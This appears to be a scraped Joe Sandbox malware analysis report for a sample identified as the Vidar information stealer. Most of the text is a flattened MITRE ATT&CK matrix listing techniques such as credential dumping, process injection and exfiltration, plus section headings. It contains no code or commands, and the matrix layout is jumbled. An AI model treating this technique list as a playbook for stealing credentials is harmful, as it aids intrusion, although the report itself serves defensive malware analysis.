Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Native API	1 Scheduled Task/Job	612 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	11 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	47 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	371 Security Software Discovery	SSH	11 Input Capture	123 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	612 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BRWgvKaqbg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
BRWgvKaqbg.exe